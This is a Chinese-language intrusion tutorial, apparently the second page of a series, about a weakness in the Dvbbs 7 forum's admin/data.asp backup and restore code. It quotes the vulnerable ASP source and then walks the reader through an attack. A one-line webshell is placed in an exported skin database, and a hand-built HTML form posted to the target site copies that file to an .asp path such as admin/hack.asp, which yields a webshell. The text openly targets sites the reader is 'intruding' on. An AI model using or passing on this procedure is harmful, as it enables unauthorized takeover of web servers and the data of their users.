还是备份数据的地方,你别看这里教你如何用SQL企业管理器来操作,其实可利用的正在里面,不要被表面的现象蒙蔽了,我们看看admin/data.asp文件的以下代码:
sub RestoreData()
If IsSqlDataBase = 1 Then
SQLUserReadme()
Exit Sub
End If
%>
<table border="0" cellspacing="1" cellpadding="5" height="1" align=center width="95%" class="tableBorder" <tr>
<th height=25 >
<B>恢复论坛数据</B>( 需要FSO支持,FSO相关帮助请看微软网站 )
</th>
</tr>
<form method="post" action="data.asp?action=RestoreData&act=Restore">
<tr>
<td height=100 class="forumrow">
备份数据库路径(相对):<input type=text size=30 name=DBpath value="../DataBackup/dvbbs7_Backup.MDB"> <BR>
目标数据库路径(相对):<input type=text size=30 name=backpath value="../<%=db%>"><BR> 填写您当前使用的数据库路径,如不想覆盖当前文件,可自行命名(注意路径是否正确),然后修改conn.asp文件,如果目标文件名和当前使用数据库名一致的话,不需修改 conn.asp文件<BR>
<input type=submit value="恢复数据"> <br>
-----------------------------------------------------------------------------------------<br>
在上面填写本程序的数据库路径全名,本程序的默认备份数据库文件为DataBackup\dvbbs_Backup.MDB,请按照您的备份文件自行修改。<br>
您可以用这个功能来备份您的法规数据,以保证您的数据安全!<br>
注意:所有路径都是相对与程序空间根目录的相对路径</font>
</td>
</tr>
</form>
</table>
<%
end sub
sub BackupData()
If IsSqlDataBase = 1 Then
SQLUserReadme()
Exit Sub
End If
%>
<table border="0" cellspacing="1" cellpadding="5" height="1" align=center width="95%" class="tableBorder">
<tr>
<th height=25 >
<B>备份论坛数据</B>( 需要FSO支持,FSO相关帮助请看微软网站 )
</th>
</tr>
<form method="post" action="data.asp?action=BackupData&act=Backup">
<tr>
<td height=100 class="forumrow">
当前数据库路径(相对路径):<input type=text size=15 name=DBpath value="../<%=db%>"><BR>
备份数据库目录(相对路径):<input type=text size=15 name=bkfolder value="../Databackup"> 如目录不存在,程序将自动创建<BR>
备份数据库名称(填写名称):<input type=text size=15 name=bkDBname value="dvbbs7_Backup.mdb"> 如备份目录有该文件,将覆盖,如没有,将自动创建<BR>
<input type=submit value="确定"><br>
-----------------------------------------------------------------------------------------<br>
在上面填写本程序的数据库路径全名,本程序的默认数据库文件为Data\dvbbs7.MDB,< B>请一定不能用默认名称命名备份数据库</B><br>
您可以用这个功能来备份您的法规数据,以保证您的数据安全!<br>
注意:所有路径都是相对与程序空间根目录的相对路径 </font>
</td>
</tr>
</form>
</table>
<%
end sub
sub updata()
On error resume next
Dim FileConnStr,Fileconn
Dbpath=request.Form("Dbpath")
Dbpath=server.mappath(Dbpath)
bkfolder=request.Form("bkfolder")
bkdbname=request.Form("bkdbname")
FileConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = " & Dbpath
Set Fileconn = Server.CreateObject("ADODB.Connection")
Fileconn.open FileConnStr
If Err Then
Response.Write Err.Description
Err.Clear
Set Fileconn = Nothing
Response.Write "备份的文件并非合法的数据库。"
Exit Sub
Else
Set Fileconn = Nothing
End If
Set Fso=server.createobject("scripting.filesystemobject")
If Fso.fileexists(dbpath) then
If CheckDir(bkfolder) = True Then
Fso.copyfile dbpath,bkfolder& "\"& bkdbname
else
MakeNewsDir bkfolder
Fso.copyfile dbpath,bkfolder& "\"& bkdbname
end if
response.write "备份数据库成功,您备份的数据库路径为" &bkfolder& "\"& bkdbname
Else
response.write "找不到您所需要备份的文件。"
End if
end sub
在后台没有用到这些代码,可以看出我们完全可以用像ACCESS的方法来利用,只是要从本地提交参数,因为Dbpath、backpath那两个变量是用 request.form取值。照样没有检查文件类型,这个文件的很多代码在SQL版里都是多余!由此产生安全隐患。
SQL版的利用 点 模板导出 插入一句话.模板数据已经保存到您的论坛根目录下的skins下,文件名为Dv_skin.mdb.然后在本地新建一个htm文件.写入代码
<form action="http://你
入侵的网站地址/admin/data.asp?action=RestoreData&act=Restore" method="post">
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"><p>
<p>要复制到的位置:<input name="backpath" type="text" size="80"><p>
<p><input type="submit" value="提交"><p>
<form>
然后就把skins/Dv_skin.mdb填在“已上传文件的位置”那里,想要在哪里搞个WebShell就把完整的相对路径填写在“要复制到的位置” 那里,比如:admin/hack.asp提交就得到我们可爱的WebShell了.这里可以把BackupData值代替RestoreData值.一样可以实现
入侵.很简单吧.
后记 动网不愧是‘洞网’.无语.....
上一页 [1] [2]